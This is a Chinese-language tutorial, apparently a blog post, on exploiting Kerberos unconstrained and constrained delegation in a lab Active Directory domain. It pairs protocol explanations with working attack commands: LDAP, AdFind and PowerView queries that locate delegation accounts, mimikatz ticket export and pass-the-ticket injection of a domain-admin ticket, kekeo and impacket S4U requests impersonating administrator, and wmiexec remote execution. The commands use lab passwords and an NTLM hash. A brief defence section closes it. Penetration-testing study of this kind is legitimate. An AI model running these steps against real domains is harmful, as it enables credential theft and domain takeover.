域渗透——Kerberos委派攻击
前言
本文章重点说一下约束委派和非约束委派,,这里的非约束委派需要手动触发比较鸡肋,可以使用非约束委派账户配合printerbug域内提权,这个会单独拿一篇文章出来,还有一种是基于资源的约束委派,留给下一篇文章
环境搭建
这里的域环境搭建就不再细说
主机 | ip | 用户 | 主机名 |
---|---|---|---|
域控 | 192.168.164.133 | administrator | ad.test.com |
域内主机 | 192.168.164.129 | test | user.test.com |
两台主机均为win2008r2
创建非约束委派账户
注册spn
setspn -U -A MSSQLSvc/mssql.test.com:1433 feipai
注意 这里的feipai用户需要存在
创建约束委派账户
注册spn
setspn -U -A MSSQLSvc/mssql.test.com:1433 yuepai
注意 这里的yuepai用户需要存在
配置yuepai对于域内机器user的cifs的委派
发现域内委派的用户和计算机
当服务账号或者主机被设置为非约束性委派时,其userAccountControl
属性会包含TRUSTED_FOR_DELEGATION
当服务账号或者主机被设置为约束性委派时,其userAccountControl
属性包含TRUSTED_TO_AUTH_FOR_DELEGATION
,且msDS-AllowedToDelegateTo
属性会包含被约束的服务
发现域内主机主机的一般方法是使用LDAP,可以使用如下方式
ldapsearch
kali自带
查找非约束用户
ldapsearch -x -H ldap://192.168.164.133:389 -D "test@test.com" -b "DC=test,DC=com" -w Tt1234. "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))"|grep -iE "distinguishedName"
这里的-D是用户名,-w 的为test用户的密码
查找非约束机器
ldapsearch -x -H ldap://192.168.164.133:389 -D "test@test.com" -b "DC=test,DC=com" -w Tt1234. "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))"|grep -iE "distinguishedName"
可以看见域控主机默认开启非约束委派
查找约束用户
ldapsearch -x -H ldap://192.168.164.133:389 -D "CN=test,CN=Users,DC=test,DC=com" -b "DC=test,DC=com" -w Tt1234. "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))"|grep -iE "distinguishedName"
查找约束机器
ldapsearch -x -H ldap://192.168.164.133:389 -D "CN=test,CN=Users,DC=test,DC=com" -b "DC=test,DC=com" -w Tt1234. "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))"|grep -iE "distinguishedName"
ADfind
下载地址
https://www.softpedia.com/get/Programming/Other-Programming-Files/AdFind.shtml
使用参数
AdFind [switches] [-b basedn] [-f filter] [attr list]
参数说明
-b:指定要查询的根节点
-f:LDAP过滤条件
attr list:需要显示的属性
查找非约束委派用户
AdFind.exe -b "DC=test,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
查找非约束委派主机
AdFind.exe -b "DC=test,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
查找约束委派用户
AdFind.exe -b "DC=test,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName
查找非约束委派主机
AdFind.exe -b "DC=test,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName
PowerView
下载地址
https://github.com/PowerShellMafia/PowerSploit/raw/dev/Recon/PowerView.ps1
查找非约束委派用户
powershell.exe -exec bypass -Command "Import-Module .\powerview.ps1;Get-NetUser -Domain test.com|select name"
报错 原因未知
查找非约束委派主机
powershell.exe -exec bypass -Command "Import-Module .\powerview.ps1;Get-NetComputer -Domain test.com |select name"
多一个 原因未知
查找约束委派用户
powershell.exe -exec bypass -Command "Import-Module .\powerview.ps1;Get-DomainUser –TrustedToAuth -domain test.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl"
ldapdomaindump
https://github.com/dirkjanm/ldapdomaindump
python3 ldapdomaindump.py -u domain1\\user -p password 192.168.164.128
查找约束委派主机
powershell.exe -exec bypass -Command "Import-Module .\powerview.ps1;Get-DomainComputer -TrustedToAuth -Domain test.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize"
非约束委派的利用
非约束委派:当user访问service1时,如果service1的服务账号开启了unconstrained delegation(非约束委派),则当user访问service1时会将user的TGT发送给service1并保存在内存中以备下次重用,然后service1 就可以利用这张TGT以user的身份去访问域内的任何服务(任何服务是指user能访问的服务)了
这里的说明参考https://xz.aliyun.com/t/7217#toc-6
1. 用户向`KDC`发送`KRB_AS_REQ`消息请求可转发的`TGT1`。
2. KDC在`KRB_AS_REP`消息中返回`TGT1`。
3. 用户根据步骤2中的TGT1请求转发TGT2。
4. KDC在KRB_TGS_REP消息中为user返回TGT2。
5. 用户使用步骤2中返回的TGT1向KDC请求Service1的ST(Service Ticket)
6. TGS在KRB_TGS_REP消息中返回给用户service1的ST。
7. 用户发送KRB_AP_REQ消息请求Service1,KRB_AP_REQ消息中包含了TGT1和Service1的ST、TGT2、TGT2的SessionKey
8. service1使用用户发送过来的的TGT2,并以KRB_TGS_REQ的形式将其发送到KDC,以用户的名义请求service2的ST。
9. KDC在KRB_TGS_REP消息中返回service2到service1的ST,以及service1可以使用的sessionkey。ST将客户端标识为用户,而不是service1。
10. service1通过KRB_AP_REQ以用户的名义向service2发出请求。
11. service2响应service1的请求。
12. 有了这个响应,service1就可以在步骤7中响应用户的请求。
13. 这里的TGT转发委派机制没有限制service1使用的TGT2是来自哪个服务,所以service1可以以用户的名义向KDC索要任何其他服务的票证。
14. KDC返回步骤13中请求的ST
15-16. service1以用户的名义来请求其它服务
TGT1(forwardable TGT)用于访问Service1,TGT2(forwarded TGT)用于访问Service2
触发
首先清除票据
mimikatz "privilege::debug" "kerberos::purge" "exit"
使用域控访问我们的user.test.com
dir \\test\c$
这时候内存中就存在了域管账户的票据
mimikatz "privilege::debug" "sekurlsa::tickets /export" "exit"
注入票据
mimikatz "privilege::debug" "kerberos::ptt [0;2cb3f0]-2-0-60a00000-Administrator@krbtgt-TEST.COM.kirbi" "exit"
当然这种情况是比较苛刻的,需要域控主动连接我们,这里有一种方法非约束委派+Spooler打印机服务,单独拿出来说
约束委派的利用
由于非约束委派的不安全性,微软在windows server 2003
中引入了约束委派,对Kerberos协议进行了拓展,引入了S4U
,其中S4U支持两个子协议:Service for User to Self (S4U2Self)
和 Service for User to Proxy (S4U2proxy)
,这两个扩展都允许服务代表用户从KDC请求票证。S4U2self
可以代表自身请求针对其自身的Kerberos服务票据(ST);S4U2proxy
可以以用户的名义请求其它服务的ST,约束委派就是限制了S4U2proxy
扩展的范围。
1. 用户向service1发出请求。用户已通过身份验证,但service1没有用户的授权数据。通常,这是由于身份验证是通过Kerberos以外的其他方式验证的。
2. 通过S4U2self扩展以用户的名义向KDC请求用于访问service1的ST1。
3. KDC返回给Service1一个用于用户验证Service1的ST1,该ST1可能包含用户的授权数据。
4. service1可以使用ST中的授权数据来满足用户的请求,然后响应用户。
注:尽管S4U2self向service1提供有关用户的信息,但S4U2self不允许service1代表用户发出其他服务的请求,这时候就轮到S4U2proxy发挥作用了
5. 用户向service1发出请求,service1需要以用户身份访问service2上的资源。
6. service1以用户的名义向KDC请求用户访问service2的ST2
7. 如果请求中包含PAC,则KDC通过检查PAC的签名数据来验证PAC ,如果PAC有效或不存在,则KDC返回ST2给service1,但存储在ST2的cname和crealm字段中的客户端身份是用户的身份,而不是service1的身份。
8. service1使用ST2以用户的名义向service2发送请求,并判定用户已由KDC进行身份验证。
9. service2响应步骤8的请求。
10. service1响应用户对步骤5中的请求。
利用
这里需要域账户的密码或者ntlm
tgt::ask /user:yuepai /domain:test.com /password:Yy1234. /ticket:test.kirbi
tgt::ask /user:yuepai /domain:test.com /NTLM:b4f27a13d0f78d5ad83750095ef2d8ec /ticket:test.kirbi
python3 getST.py -dc-ip 192.168.164.147 test.com/yuepai:Yy1234. -spn cifs/user.test.com -impersonate administrator
成功获取到这个账户的服务票据
随后使用这张可转发的TGT票据去伪造s4u请求以administrador用户权限访问SPN委派服务
tgs::s4u /tgt:TGT_yuepai@TEST.COM_krbtgt~test.com@TEST.COM.kirbi /user:Administrator@test.com /service:cifs/ad.test.com
export KRB5CCNAME=xxx.ccache
python3 wmiexec.py -k user.test.com -no-pass
之后使用获取到的服务票据导入内存利用即可
这里我个人理解的约束委派就是在约束委派上添加了一个限制,只能通过tgt去请求一个指定的服务,而不是这个用户的所有权限。
防御
高权限用户没有在特殊要求之下设置为不可委派
为了防止凭据被盗微软推出了Protected Users组,适用于Windows Server 2016,Windows Server 2012 R2、 Windows Server 2012
参考文章
https://xz.aliyun.com/t/7217#toc-13
https://xz.aliyun.com/t/8690#toc-59